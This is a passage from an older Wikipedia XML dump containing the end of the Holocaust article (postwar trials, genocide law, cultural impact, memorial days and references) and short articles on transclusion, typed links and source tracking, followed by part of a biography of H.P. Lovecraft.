While [[Zionism]] had been prominent before the Holocaust, afterwards it became almost universally accepted among Jews. Many Zionists, pointing to the fact that Jewish refugees from Germany and Nazi-occupied lands had been turned away by other countries, argued that if a Jewish state had existed at the time, the Holocaust could not have occurred on the scale it did.  With the rise of Zionism, [[British Mandate of Palestine|Palestine]] became the destination of choice for Jewish refugees, but local Arabs opposed the immigration, Britain refused to allow Jewish refugees into the Mandate, and many countries in the Soviet Bloc made any emigration illegal.  Former Jewish partisans in Europe, along with the [[Haganah]] in Palestine, organized a massive effort to smuggle Jews into Palestine, called [[Berihah]], which eventually transported 250,000 Jews (both DPs and those who hid during the war) to the Mandate. By 1952, the Displaced Persons camps were closed, with over 80,000 Jewish DPs in the United States, about 136,000 in Israel, and another 20,000 in other nations, including Canada and South Africa.

===Legal proceedings against Nazis===
[[Image:NurembergTrials.jpg|left|thumbnail|150px|Defendants at the [[Nuremberg Trials]] - Front row: Göring, Heß, von Ribbentrop, and Keitel. Second row: Dönitz, Raeder, Schirach, Sauckel.]]
There were a number of legal efforts established to bring Nazis and their collaborators to justice.   Some of the higher ranking Nazi officials were tried as part of the [[Nuremberg Trials]], presided over by an Allied court; the first international tribunal of its kind. In total, 5,025 Nazi criminals were convicted between 1945-1949 in the American, British and French zones of Germany.  Other trials were conducted in the countries in which the defendants were citizens -- in West Germany and Austria, many Nazis were let off with light sentences, with the claim of &quot;following orders&quot; ruled a mitigating circumstance, and many returned to society soon afterwards.  An ongoing effort to [[Pursuit of Nazi collaborators|pursue Nazis and collaborators]] resulted, famously, in the trial of Holocaust organizer [[Adolf Eichmann]] in Israel in 1961.

===Legal action against genocide===
The Holocaust also galvanized the international community to take action against future genocide, including the [[Convention on the Prevention and Punishment of the Crime of Genocide]] in 1948.  While international human rights law moved forward quickly in the wake of the Holocaust, international criminal law has been slower to advance; after the Nuremberg trials and the Japanese war crime trials it was over forty years until the next such international criminal procedures, in [[International Criminal Tribunal for the Former Yugoslavia|1993 in Yugoslavia]].

==Impact on culture==
===Holocaust theology===
On account of the magnitude of the Holocaust, many theologians have re-examined the classical theological views on God's goodness and actions in the world. Some believers and [[apostate]]s question whether people can still have any faith after the Holocaust, and some of the theological responses to these questions are explored in [[Holocaust theology]]. 

===Art and literature===
{{main|The Holocaust in Art and Literature}}

German philopsopher [[Theodor Adorno]] famously commented that &quot;writing poetry after [[Auschwitz]] is barbaric,&quot; and the Holocaust has indeed had a profound impact on art and literature, for both Jews and non-Jews. Some of the more famous works are by Holocaust survivors or victims, such as [[Elie Wiesel]], [[Primo Levi]], and [[Anne Frank]], but there is a substantial body of literature and art in many languages. Indeed, [[Paul Celan]] wrote his poem ''Todesfuge'' as a direct response to Adorno's dictum.  

The Holocaust has also been the subject of many films, including Oscar winners ''[[Schindler's List]]'' and ''[[Life is Beautiful]]''.  With the aging population of Holocaust survivors, there has been increasing attention in recent years to preserving the memory of the Holocaust.  The result has included extensive efforts to document their stories, including the Survivors of the Shoah project, as well as [[Holocaust memorials|institutions devoted to memorializing and studying the Holocaust]], including [[Yad Vashem]] in Israel and the [[United States Holocaust Memorial Museum|US Holocaust Museum]].

===Holocaust Memorial Days===
{{main|Yom HaShoah}}
In a unanimous vote, the [[United Nations]] General Assembly voted on [[November 1]], [[2005]], to designate [[January 27]] as the &quot;International Day of Commemoration in Memory of the Victims of the Holocaust.&quot;  January 27, 1945 is the day that the former Nazi concentration and extermination camp of Auschwitz-Birkenau was liberated. Even before the UN vote, January 27 was already observed as [[Holocaust Memorial Day (UK)|Holocaust Memorial Day in the United Kingdom]] since 2001, as well as other countries, including Sweden, Italy, Germany, Finland, Denmark and Estonia. Israel observes [[Yom HaShoah|Yom Hashoah]], the &quot;Day of Rememberence of the Holocaust,&quot; on the 27th day of the Hebrew month of [[Nisan]], which generally falls in April.

==Notes==
#{{note|whatis}} Donald L Niewyk, ''The Columbia Guide to the Holocaust,'' Columbia University Press, 2000, p.45: &quot;The Holocaust is commonly defined as the murder of more than 5,000,000 Jews by the Germans in World War II.&quot;  Niewyk than explains that there is a debate among scholars over whether the Holocaust only refers to Jewish victims, or to all groups targeted by the Nazis, or to some subset of those groups.  All scholars agree that other groups were targeted by the Nazis, but not all believe that the victims are part of the Holocaust. This article uses a wide definition of the Holocaust to include all groups systematically targeted by the Nazis.
#{{note|whichgroups}} Among the historians arguing that the Holocaust should refer only to Jews are Yehuda Baur and Guenter Levy. Those arguing the Holocaust includes Jews and Roma include Ian Hancock, Sybil Milton, and Donald Kendrick. Henry Friedlander argues that the definition should include Jews, Roma, and the handicapped. Richard Lukas and Ihor Karmenetsky include Poles among the Holocaust victims. Bodan Wytwycky includes Poles and Soviets. Richard Plant and F. Rector argue that homosexuals should be included, while Gunter Grau and Rodiger Lautmann argue against including gay men in the Holocaust.
#{{note|totalkilled}}  [http://www.holocaustforgotten.com/non-jewishvictims.htm Holocaust Forgotten] lists 5 million non-Jewish victims of the Holocaust, Niewyk suggests that the broadest definitions of the Holocaust would have as many as 17 million victims.  The 26 million number is given in Service d'Information des Crimes de Guerre: Crimes contre la Personne Humain, Camps de Concentration (Paris, 1946), 197. For details on the number of victims given in the introduction, please see the death toll section.
#{{note|shoah}}&quot;[http://www1.yadvashem.org/Odot/prog/index_before_change_table.asp?gate=0-2 The Holocaust: Definition and Preliminary Discussion],&quot; Yad Vashem (accessed June 8, 2005) And www.berkeleyinternet.com/holocaust/
#{{note|overy}} Richard Overy, ''Russia's War.'' Penguin Books; 1998.
#{{note|gilbert1}} Martin Gilbert, ''The Oxford Companion to World War II'' Oxford: Oxford UP, 1995
#{{note|trdd}} [http://www.trdd.org/EUGBR_4E.HTM Euthanasia and Eugenics], trdd.org (accessed June 8, 2005)
#{{note|others}}&quot;[http://www.uca.edu/divisions/academic/history/cahr/holocaust.htm The Forgotten Holocaust] Karen Silverstrim,Univeristy of Central Arkansas
#{{note|Haffner}} Sebastain Haffner, ''The Meaning of Hitler'' ISBN 0674557751, translated from Anmerkungen zu Hitler, Publishing house. Fischer Taschenbuch, Frankfurt am Main. ISBN 3-596-23489-1.
#{{note|hancock}}&quot;[http://www.chgs.umn.edu/Histories__Narratives__Documen/Roma___Sinti__Gypsies_/Jewish_Responses_to_the_Porraj/jewish_responses_to_the_porraj.html Jewish Response to the Porrajmos (The Romani Holocaust)],&quot; Center for Holocaust and Genocide Studies, University of Minnesota (accessed June 24, 2005). Death tolls given at [http://www.ushmm.org/wlc/en/index.php?ModuleId=10005219&amp;Type=normal+article United States Holocaust Museum] 
#{{note|polesauschwitz}} Yisrael Gutman, Michael Berenbaum, Raul Hilberg, Franciszek Piper, Yehuda Baur, ''Anatomy of the Auschwitz Death Camp'', Indiana University Press, 1998, p.70
#{{note|soviet}} Donald L Niewyk, ''The Columbia Guide to the Holocaust,'' Columbia University Press, 200, p 49
#{{note|pinktriangle}} 	Heinz Heger, ''Men with the Pink Triangle,'' Alyson Publishing: 1994
#{{note|euth}} &quot;[http://www.ushmm.org/outreach/euthan.htm Euthenasia Program]&quot; from the US Holocaust Museum's Encyclopedia of the Holocaust
#{{note|blacks}} [http://www.ushmm.org/wlc/article.php?lang=en&amp;ModuleId=10005479 Blacks during the Holocaust]from the US Holocaust Museum's Encyclopedia of the Holocaust
#{{note|JP}}Douglas Davis, &quot;[http://pqasb.pqarchiver.com/jpost/abstract/64152996.html?did=64152996&amp;FMT=ABS&amp;FMTS=FT&amp;date=May+20%2C+1997&amp;author=DOUGLAS+DAVIS&amp;desc=7+million+died+in+Holocaust 7 million died in Holocaust],&quot; ''Jerusalem Post'', May 20, 1997 (accessed June 8, 2005).
#{{note|howmany}} &quot;[http://www1.yadvashem.org/about_holocaust/faqs/answers/faq_3.html How many Jews were murdered in the Holocaust? How do we know? Do we have their names?],&quot; Yad Vashem (accessed June 8, 2005). A detailed breakdown of various estimates of the victims is available from the [http://www1.ushmm.org/research/library/index.php?content=faq/index.php%23topic01-question02 Online Library of the United States Holocaust Museum] (accessed August 10, 2005)
#{{note|polishvictims}} [http://www.ushmm.org/education/resource/poles/poles.php?menu=/export/home/www/doc_root/education/foreducators/include/menu.txt&amp;bgcolor=CD9544 Poles: Victims of the Nazi Era] at the US Holocaust Museum
#{{note|Hilberg}} Hilberg, Raul. The destruction of the European Jews (Yale Univ. Press, 2003, c1961).
#{{note|Hilberg2}} Yisrael Gutman, Michael Berenbaum, Raul Hilberg, Franciszek Piper, Yehuda Baur, ''Anatomy of the Auschwitz Death Camp'', Indiana University Press, 1998, p.71.
#{{note|Gilbert}}Gilbert, Martin, Atlas of the Holocaust, New York: William Morrow and Compnay, Inc, 1993.
#{{note|Dawidowicz}} Lucy Dawidowicz, The War Against The Jews, 1933-1945, New York : Holt, Rinehart and Winston, 1975 ISBN 003013661X
#{{note|BenzGutman}} Wolfgang Benz in Dimension des Volksmords: Die Zahl der Judischen Opfer des Nationalsocialismus (Munich: Deutscher Taschebuch Verlag, 1991). Israel Gutman, ''Encyclopedia of the Holocaust,'' MacMillan Reference Books; Reference edition (October 1, 1995)
#{{note|gilbert2}} Gilbert, ''The Oxford Companion to World War II''
#{{note|perp}} Donald L Niewyk, ''The Columbia Guide to the Holocaust,'' Columbia University Press, 200, p 83-87.  For Reserve Police 101 see Browning, Christopher R., Ordinary Men: Reserve Police Battalion 101 and the Final Solution in Poland, New York, Harper Collins, 1992
#{{note|Romania}}&quot;[http://www.ushmm.org/research/center/presentations/index.php?content=programs/presentations/2005-03-10/ Romania: Facing the Past]&quot; available in Romanian and English, published online March, 2005.
#{{note|price}}Ad van Liempt, ''[http://www.nlpvf.nl/Book/NLPVF_BooktxtDB.php?Book=84 A Price on Their Heads, Kopgeld, Dutch bounty hunters in search of Jews, 1943]'',  NLPVF (accessed June 8, 2005).
#{{note|victims}}&quot;[http://www.pbs.org/auschwitz/40-45/victims/perps.html#kabac Victims and Perpetrators, Michal Kabác: Slovak Hlinka Guard],&quot; PBS (accessed June 8, 2005).
#{{note|baltics}} &quot;[http://depts.washington.edu/baltic/papers/holocaust.html The Holocaust in the Baltics]&quot;
#{{note|hungary}} &quot;[http://hist.academic.claremontmckenna.edu/jpetropoulos/arrow/holocaust/holocaust.htm The Holocaust   in Hungary]&quot; Prof. Jonathan Petropoulos, Claremont McKenna College. See also the [http://www.hdke.hu/en/facts_hungholo.html Hungarian Holocaust Museum], also 
#{{note|croats}}&quot;[http://www.jewishvirtuallibrary.org/jsource/Holocaust/Jasenovac.html Jasenovac]&quot; at the Jewish Virtual Library 
#{{note|estonia}} Max Jakobson Commission Investigation of Crimes Against Humanity, &quot;[http://www.historycommission.ee/temp/conclusions.htm#crimiger1] Report&quot;
#{{note|latvia}} &quot;[http://vip.latnet.lv/LPRA/EZERG_intr.html The Holocaust in Latvia]: An introduction&quot; by Andrew Ezergailis, book excerpt, The Historical Institute of Latvia, 1996.
#{{note|Archives}}Richard Breitman, &quot;[http://www.archives.gov/iwg/research-papers/breitman-chilean-diplomats.html What Diplomats Learned about the Holocaust],&quot; US National Archives (accessed August 30, 2005).
#{{note|Gallately}} John Ezard, &quot;[http://www.guardian.co.uk/uk_news/story/0,3604,439168,00.html Germans knew of Holocaust Horror about Death Camps],&quot; Guardian, February 17, 2001. 
#{{note|documented}}Donald L. Niewyk, ed. ''The Holocaust: Problems and Perspectives of Interpretation'', D.C. Heath and Company, 1992.
#{{note|Gord}}Gord McFee, &quot;[http://www.holocaust-history.org/revisionism-isnt/ why 'Revisionism' isn't],&quot; The Holocaust History Project (accessed June 8, 2005).
#{{note|Public}} Tom Smith, &quot;The Polls--A Review: The Holocaust Denial Controversy.&quot; Public Opinion Quarterly 59 (Summer 1995): 269-295.

==See also==
{{sisterlinks|The Holocaust}}
* [[Rescue of the Danish Jews]]
* [[Anti-Semitism]]
* [[Bereavement in Judaism]]
* [[Genocide]]
* [[Historikerstreit]]
* [[Death marches (Holocaust)|Death marches]]
* [[Grand Mufti of Jerusalem]]
* [[International response to the Holocaust]]
* [[Phases of the Holocaust]]
* [[Jews outside Europe under Nazi occupation]]
* [[History of gays in Nazi Germany and the Holocaust]]
* [[Porajmos|History of the Roma and Sinti during the Holocaust]]
* [[Holocaust memorials]]
* [[Involvement of Croatian Catholic clergy with the Ustaša regime]]
* [[Henneicke Colonne]] (involvement of the Dutch population in the Holocaust)
* [[Sh'erit ha-Pletah]] (Jewish Holocaust survivors)
* [[Wiedergutmachung]] (reparations to individual survivors)
* [[War crimes of the Wehrmacht]]

===Nazi plans related to the Holocaust===
* [[Final Solution|Endlösung]] (&quot;Final Solution&quot;)
* [[Generalplan Ost]]
* [[Operation Reinhard]]
* [[Lublin Plan]]
* [[Madagascar Plan]]

===Eugenics===
* [[Rhineland Bastard]]

===Individuals and the Holocaust===
* [[List of famous Holocaust survivors]]
* [[List of famous Holocaust victims]]
* [[List of people who helped Jews during the Holocaust]] (see also [[Righteous Among the Nations]])
*[[Children of the Holocaust]]

===Nazi concentration camps===
''See'' [[List of Nazi concentration camps]], [[Nazi extermination camp]]
* [[Auschwitz]], [[Dachau concentration camp|Dachau]], [[Treblinka]], [[Majdanek]], [[Belzec]], [[Sobibór]], [[Chełmno extermination camp|Chełmno]]

===Ghettos===
* [[Warsaw Ghetto]]
* [[Judenrat]] (Jewish administrative bodies established in the ghettos by order of the Nazis)

===Massacres and pogroms===
* in [[Białystok]]
* [[Babi Yar]] Massacre
* [[Jedwabne Pogrom]]
* in [[Paneriai]]
* [[Odessa Massacre]]

===Jewish resistance===
====Poland====
* Resistance groups
** [[Żydowski Związek Walki]]
** [[Żydowska Organizacja Bojowa]]
* Uprisings
** [[Warsaw Ghetto Uprising|Warsaw Ghetto]]
** [[Białystok Ghetto Uprising|Białystok]]
** [[Marcinkance Ghetto Uprising|Marcinkace]]

== External links, references, resources ==
External links, references, books and other resources are listed [[Holocaust (resources)|here]].

{{Link FA|ar}}
{{Link FA|pt}}
[[Category:Holocaust|*]]

[[ar:هولوكوست]]
[[ast:Holocaustu]]
[[be:Галакост]]
[[bn:হলোকস্ট]]
[[ca:Holocaust]]
[[cs:Holocaust]]
[[da:Holocaust]]
[[de:Holocaust]]
[[et:Holokaust]]
[[el:Ολοκαύτωμα]]
[[es:Holocausto]]
[[eo:Holokaŭsto]]
[[fa:همه‌سوزی]]
[[fr:Holocauste]]
[[gl:Holocausto]]
[[ko:유대인 대학살]]
[[hr:Holokaust]]
[[id:Holocaust]]
[[it:Olocausto]]
[[he:השואה]]
[[lt:Holokaustas]]
[[lb:Holocaust]]
[[hu:Holokauszt]]
[[nl:Holocaust]]
[[nds:Schoah]]
[[ja:ホロコースト]]
[[no:Holocaust]]
[[nn:Holocaust]]
[[pl:Holocaust]]
[[pt:Holocausto]]
[[ro:Holocaust]]
[[ru:Холокост]]
[[simple:The Holocaust]]
[[sl:Holokavst]]
[[sr:Холокауст]]
[[fi:Holokausti]]
[[sv:Förintelsen]]
[[zh:猶太人大屠殺]]</text>
    </revision>
  </page>
  <page>
    <title>Transclusion</title>
    <id>13499</id>
    <revision>
      <id>41553846</id>
      <timestamp>2006-02-28T02:54:14Z</timestamp>
      <contributor>
        <ip>70.21.34.36</ip>
      </contributor>
      <text xml:space="preserve">In [[computer science]], some [[hypertext]] systems, including [[Ted Nelson]]'s [[Project Xanadu|Xanadu Project]], have the capability for documents to include sections of other documents by reference, called '''transclusion'''.  For example, an article about a country might include a chart or a paragraph describing that country's agricultural exports from a different article about agriculture.  Rather than copying the included data and storing it in two places, a transclusion embodies [[modular design]], by allowing it to be stored only once (and perhaps corrected and updated if the link type supported that) and viewed in different contexts.  The reference also serves to link both articles. 

In Ted Nelson's original proposal for hypertext, outlined in his 1982 book, ''[[Literary Machines]]'',  [[micropayment]]s could be automatically exacted from the reader for all the text, no matter how many snippets of content are taken from various places.

==Atomicity==

The idea of transclusion implies that sections of text can be written [[atomicity|atomically]], so that the content of one section does not interfere with the contents of another section. For example, the following formulations, often found in written linear prose, are problematic:

*''See the section below for an explanation.''
*''See the preceding section for an explanation.''
*''As was mentioned earlier.''
*''As we have already detailed.''
*''We will deal with this issue in detail later.''

As one does not know where the section will appear, one cannot reference text outside the section in this manner, as one does not know if it will be there or not. If someone else chooses to use the section elsewhere, it will be confusing.

For some kinds of prose, these kinds of limitations are not severe, but to others it may be disturbing and lower the quality of the text.

==HTML / web usage==

Present [[HTML]] has a limited form of transclusion.
For instance, it is possible to refer to an image, which the [[web browser]] will retrieve and draw on the page; see [[inline linking]].

Also, an HTML document can contain an &quot;iframe,&quot; or inline frame, that refers to another document and presents it as text inside the calling document. [[As of 2002|As of January 2002]], [http://www.weather.com Weather.com] was using this technique to build its weather forecast page from several small documents.  Future versions of HTML may support deeper transclusion of portions of documents using [[XML]] technologies such as [[XPath]]'s document referencing and [[XSLT]] manipulations. See also [[framing (World Wide Web)|Framing in websites]].
&lt;!-- TO DO: describe the copyright implications of &quot;framing&quot; with respect to transclusion --&gt;

Certain implementations of [[wiki]] software, including Wikipedia's [[MediaWiki]], support a form of transclusion.  On sites created using [[TiddlyWiki]], for example, text is presented in the form of [[microcontent]] which is loaded into the main display when the user clicks on [[wikilinks]].

The practice of 'remote loading', including data from other sites, such as links to images, etc., is something usually frowned upon because of the use of bandwidth (even called &quot;[[bandwidth theft]]&quot;) and computing power required from the remote computer system. This is said to &quot;tax&quot; another [[server]], and is often considered an example of [[bandwidth theft|leeching]].

However, there is one major exception to this rule: web [[advertising]], where the advertiser prefers to serve the advertisement themselves, rather than having their content served for them by the parent web-site. In this way, they can directly verify the existence of a remote browser performing a page view, rather than having to trust the publisher of the parent content. (See also: [[hit counter]], [[web bug]]).

==A side note==

There are other technologies that have similar abilities of including external components such as [[Active Server Pages|ASP]] (Active Server Pages), [[JavaServer Pages|JSP]] (JavaServer Pages), [[PHP]] (originally Personal Home Page, now PHP Hypertext Preprocessor), and the use of [[Server Side Includes|SSI]] (Server Side Includes).

The term &quot;transclusion&quot; is an example of a [[portmanteau]].

==See also==

* [[Compound document]]
* [[Single source publishing]]
* [[PurpleWiki]] [http://www.blueoxen.org/tools/purplewiki/] is a [[UseModWiki]] derivative that  [http://purplewiki.blueoxen.net/cgi-bin/wiki.pl?TransClusion implements TransClusion] using [[Purple Numbers]].
* The [[Linux-HA]] project uses [http://wwnew.linux-ha.org/WikiTransclusion wiki transclusion] to create its [http://wwnew.linux-ha.org/ public web site].
* [http://en.wikipedia.org/wiki/Wikipedia:Transclusion Wikipedia:Transclusion], transclusion in [[Wikipedia]]

[[Category:HTML]]
[[Category:Hypertext]]

[[es:Transclusión]]
[[pl:Transkluzja]]</text>
    </revision>
  </page>
  <page>
    <title>Typed link</title>
    <id>13500</id>
    <revision>
      <id>40010759</id>
      <timestamp>2006-02-17T13:52:47Z</timestamp>
      <contributor>
        <ip>213.250.143.131</ip>
      </contributor>
      <comment>microformat. Nofollow</comment>
      <text xml:space="preserve">A '''typed link''' in a [[hypertext]] system is a link to another document or part of a document that includes information about the ''character'' of the link.  For example, rather than merely pointing to the existence of a document, a link might also specify that the document supports the conclusion of the article pointing to it, that it contradicts the article pointing to it, that it is an older version of the document, that it serves to define the word next to the link, that it is an index to other documents of the same type, or some other relationship.  This allows a user to take actions such as searching only certain types of links or displaying them differently.  It may also allow browsing software to do things like pre-fetching documents it expects the user to browse.

Present [[HTML]] supports typed links from whole documents to whole documents with the &lt;code&gt;&lt;link&gt;&lt;/code&gt; tag.  For example, the tag &lt;code&gt;&lt;link rel=&quot;Contents&quot; href=&quot;top.html&quot;&gt;&lt;/code&gt; specifies that the document &quot;top.html&quot; is a table of contents for the work that includes the document you are currently reading, and the tag &lt;code&gt;&lt;link rel=&quot;Next&quot; href=&quot;chap3.html&quot;&gt;&lt;/code&gt; specifies that &quot;chap3.html&quot; is the next document in logical sequence after the one you are reading.  There is also the &lt;code&gt;rev&lt;/code&gt;erse attribute.  

The HTML standard states that both &lt;code&gt;rel&lt;/code&gt; and &lt;code&gt;rev&lt;/code&gt; can be added to the typical &lt;code&gt;&lt;a&gt;&lt;/code&gt; tag.  A Draft [[RFC]] to define standard link types for HTML was proposed in [[1994]], but expired without much comment.

Typed links, while not really a part of [[Internet]]/HTML based hypertext systems were a common feature in pre-Internet hypertext systems such as [[Project Xanadu|Xanadu]], [[NoteCards]], [[HyperWriter]], [[IBIS]]/[[gIBIS]] and others.  While typed links can be very useful, the lack of a standardized set of link attributes such as &quot;Supports Position&quot;/&quot;Refutes Position&quot; as well as the difficulty of applying the attributes has always hindered the use of typed links beyond prototyping purposes.  Any system of attributes would turn a hypertext corpus into a [[semantic web]], and permit more sophisticated processing.

[[Microformat]]s are a proposal to use the existing elements of [[XHTML]] [[semantical HTML|in a semantical way]], not requiring the use of a new XML vocabulary.

There are also proposals for de-facto standards that type links with the &lt;code&gt;rel&lt;/code&gt; attribute.
A somewhat successful example is &lt;code&gt;rel=&quot;[[nofollow]]&quot;&lt;/code&gt; proposed by Google to discourage [[comment spam]] in weblogs.

[[Category:Hypertext]]</text>
    </revision>
  </page>
  <page>
    <title>Source tracking</title>
    <id>13501</id>
    <revision>
      <id>29626692</id>
      <timestamp>2005-11-29T21:30:11Z</timestamp>
      <contributor>
        <ip>159.101.46.181</ip>
      </contributor>
      <comment>Link corrected</comment>
      <text xml:space="preserve">'''Source tracking''' pertains to the ability of some [[hypertext]] systems to rigorously track the exact source of every document or partial document included in the system; that is, they remember who entered the information, when it was entered, when it was updated and by whom, and so on.  This allows determining the exact history of every document (and even small parts of documents).

Present [[HTML]] and [[HTTP]] do not have this feature, but certain systems on the [[World Wide Web]] (such as [[Wiki|WikiWiki]] and [[Everything2|Everything Engine]]) may have limited versions of the capability.

[[pl:&amp;#346;ledzenie &amp;#378;r&amp;#243;de&amp;#322;]]</text>
    </revision>
  </page>
  <page>
    <title>HHGG</title>
    <id>13502</id>
    <revision>
      <id>15911107</id>
      <timestamp>2003-07-15T08:53:13Z</timestamp>
      <contributor>
        <username>Paul A</username>
        <id>7104</id>
      </contributor>
      <minor />
      <comment>punctuation</comment>
      <text xml:space="preserve">#REDIRECT [[The Hitchhiker's Guide to the Galaxy]]</text>
    </revision>
  </page>
  <page>
    <title>Hitchhiker's Guide to the Galaxy</title>
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    <title>H.P. Lovecraft</title>
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      <text xml:space="preserve">{{Infobox_Biography
|subject_name=Howard Phillips Lovecraft
|image_name=Lovecraft.jpg
|image_caption=
|dead=dead
|date_of_birth=[[August 20]], [[1890]]
|place_of_birth=[[Providence, Rhode Island|Providence]], [[Rhode Island]], [[USA]]
|date_of_death=[[March 15]], [[1937]]
|place_of_death=[[Providence, Rhode Island|Providence]], [[Rhode Island]], [[USA]]}}

'''Howard Phillips Lovecraft''' ([[August 20]], [[1890]] &amp;ndash; [[March 15]], [[1937]]) was an [[United States|America]]n author of [[fantasy fiction|fantasy]], [[horror fiction|horror]] and [[science fiction]], noted for combining these three [[genre]]s within single [[narrative]]s. Lovecraft's readership was limited during his life, but his works have become highly important and influential among writers and fans of modern horror fiction.

==Biography==
Lovecraft was born on [[20 August]] [[1890]] at 9:00 am in his family home at 194 (now 454) Angell Street in [[Providence, Rhode Island]]. He was the only child of Winfield Scott Lovecraft, a traveling salesman of jewelry and precious metals, and Sarah Susan Phillips Lovecraft, who could trace her ancestry in America back to the [[Massachusetts Bay Colony]] in 1630. Unusual for the time, both of his parents were in their thirties when they married and it was the first marriage for both. When Lovecraft was three, his father became acutely [[psychotic]] at a hotel in [[Chicago, Illinois]] where he was on a business trip and was brought back to Butler Hospital in Providence, where he remained for the rest of his life. His affliction was [[General paresis of the insane|general paresis]] and may have been caused by [[syphilis]].

Lovecraft was thereafter raised by his mother, two aunts (Lillian Delora Phillips and Annie Emeline Phillips), and his grandfather, [[Whipple Van Buren Phillips]], with whom Lovecraft and his female relatives lived until Phillips' death. Lovecraft was a [[child prodigy]], reciting poetry at age two and writing complete poems by six. His grandfather encouraged his reading, providing him with classics such as ''[[The Book of One Thousand and One Nights|The Arabian Nights]]'', ''[[Thomas Bulfinch|Bulfinch's Age of Fable]]'', and children's versions of The ''[[Iliad]]'' and The ''[[Odyssey]]''. His grandfather also stirred young Howard's interest in the weird by telling him original tales of Gothic horror.

Lovecraft was frequently ill as a child and was said by his biographer ([[L. Sprague de Camp]]) to have suffered from a rare disease known as [[poikilothermism]], the result of which made him always feel cold to the touch. He attended school only sporadically but he read much. He produced several [[hectograph]]ed publications with a limited circulation beginning in 1899 with ''The Scientific Gazette''. 

Whipple Van Buren Phillips died in 1904, and the family was subsequently impoverished by mismanagement of his property and money. The family was forced to move down the street to 598 Angell Street, accommodations which were much smaller and less comfortable. Lovecraft was deeply affected by the loss of his home and birthplace and even contemplated suicide for a time. He suffered a nervous breakdown in 1908, as a result of which he never received his high school diploma. This failure to complete his education &amp;mdash; his hopes of ever entering [[Brown University]] dashed &amp;mdash; nagged at him for the rest of his life, and he in fact maintained that he was a high school graduate.

Lovecraft wrote fiction as a youth, but then set it aside for some time in favour of poetry and essays, before returning to fiction in 1917 with more polished stories such as ''The Tomb'' and ''Dagon''. The latter was his first professionally published work, appearing in ''Weird Tales'' in 1923. Also around this time he began to build up his huge network of correspondents. His lengthy and frequent missives would make him one of the great letter writers of the century. Among his correspondents were the young [[Forrest J. Ackerman]], [[Robert Bloch]] (''[[Psycho]]'') and [[Robert E. Howard]] (''[[Conan the Barbarian]]'' series).

Lovecraft's mother also was committed to the Butler Hospital, where she died from surgical complications on [[May 21]], [[1921]].
 
Shortly after, he attended an amateur journalist convention where he met [[Sonia Greene]]. She was of [[Ukraine|Ukrainian]] [[Jew]]ish ancestry, and, having been born in 1883, seven years older than Lovecraft. They married in 1924, and the couple moved to the [[Political subdivisions of New York State#Borough|Borough]] of [[Brooklyn, New York|Brooklyn]] in [[New York City]]. Lovecraft's aunts may have been unhappy with this arrangement. Lovecraft himself rather disliked New York life. A few years later he and Greene agreed to an amicable divorce, and he returned to Providence to live with his aunts during their remaining years. Due to the unhappiness of their marriage, some biographers have speculated that Lovecraft could have been [[asexual]].

Back in Providence Lovecraft lived in a &quot;spacious brown Victorian wooden house&quot; at 10 Barnes Street until 1933 (this is the address given as the home of Dr. Willett in ''[[The Case of Charles Dexter Ward]]''). The period after his return to Providence &amp;mdash; the last decade of his life &amp;mdash; was Lovecraft's most prolific. During this time period he produced almost all of his best known short stories for the leading [[pulp magazine|pulp publications]] of the day (primarily ''[[Weird Tales]]'') as well as longer efforts like ''The Case of Charles Dexter Ward'' and ''[[At the Mountains of Madness]]''. He frequently revised work for other authors and did a large amount of ghost-writing. 

Despite his best writing efforts, however, he grew ever poorer. He was forced to move to smaller and meaner lodgings with his surviving aunt. He was also deeply affected by [[Robert E. Howard]]'s [[suicide]]. In 1936 he was diagnosed with [[cancer (medicine)|cancer]] of the intestine and he also suffered from [[malnutrition]]. He lived in constant pain until his death the following year (1937) in Providence, [[Rhode Island]].

Lovecraft's grave in Swan Point Cemetery in Providence is occasionally marked with [[graffiti]] quoting his famous phrase from ''[[The Call of Cthulhu]]'' (originally from ''The Nameless City''):
:''&quot;That is not dead which can eternal lie,''
:''And with strange aeons even death may die.&quot;''

Lovecraft was listed along with his parents on the Phillips family monument. That was not enough for his fans, so in 1977 a group of individuals pitched in to buy him a headstone of his own. They chose a plain block of granite, on which they had inscribed Lovecraft's name, the dates of his birth and death and the phrase, &quot;I AM PROVIDENCE,&quot; a line from one of his personal letters.

==Background of Lovecraft's work==
Much of Lovecraft's work was directly inspired by his [[nightmare]]s, and it is perhaps this direct insight into the [[subconscious]] and its [[symbolism]] that helps to account for their continuing resonance and popularity.  All these interests naturally led to his deep affection for the works of [[Edgar Allan Poe]], who heavily influenced his earliest macabre stories and writing style. Lovecraft's discovery of the stories of [[Edward Plunkett, 18th Baron Dunsany|Lord Dunsany]] moved his writing in a new direction, resulting in a series of imitative fantasies in a &quot;Dreamlands&quot; setting. It was probably the influence of [[Arthur Machen]], with his carefully constructed tales concerning the survival of ancient evil, and his mystic beliefs in hidden mysteries which lay behind reality, that finally helped inspire Lovecraft to find his own voice from 1923 onwards. This took on a dark tone with the creation of what is today often called the [[Cthulhu Mythos]], a pantheon of alien extra-dimensional deities and horrors which predate mankind, and which are hinted at in aeon-old myths and legends. The strangeness of the mythos' style may have been influenced, and was certainly foreshadowed, by the paintings of [[Hieronymus Bosch]]. The term 'Cthulhu Mythos' was coined by Lovecraft's correspondent and fellow author, [[August Derleth]], after Lovecraft's death; Lovecraft referred to his artificial mythology as &quot;Yog-Sothothery&quot;[http://www.sff.net/people/timpratt/611.html]. His stories created one of the most influential plot devices in all of horror: the ''[[Necronomicon]]'', the secret [[grimoire]] written by the mad [[Arab]] [[Abdul Alhazred]]. The resonance and strength of the Mythos concept have led some to believe that Lovecraft had based it on actual myth, and [[faux]] editions of the ''Necronomicon'' have also been published over the years. 

His prose is somewhat [[antiquarian]]. He was fond of heavy use of unfamiliar adjectives such as &quot;[[wikt:eldritch|eldritch]]&quot;, &quot;[[wikt:rugose|rugose]]&quot;, &quot;[[wikt:noisome|noisome]]&quot;, &quot;[[wikt:squamous|squamous]]&quot;, and &quot;[[wikt:cyclopean|cyclopean]]&quot;, and of attempts to transcribe dialect speech which have been criticized as inaccurate. His works also featured [[British English]] (he was an admitted [[Anglophile]]), and he sometimes made use of anachronistic spellings, such as &quot;compleat/complete&quot; and &quot;lanthorn/lantern&quot;.

Lovecraft was a prolific letter writer, inscribing multiple pages to his group of correspondents in small longhand. He sometimes dated his letters 200 years before the current date, which would have put the writing back in U.S. colonial times, before the [[American Revolution]] that offended his [[Anglophile|Anglophilia]]. He explained that he thought that the [[18th century|18th]] and [[20th century|20th]] centuries were the best; the former being a period of noble grace, and the latter a [[century]] of [[science]]. In his view, the 19th century, particularly the [[Victorian era]], was a &quot;mistake&quot;.

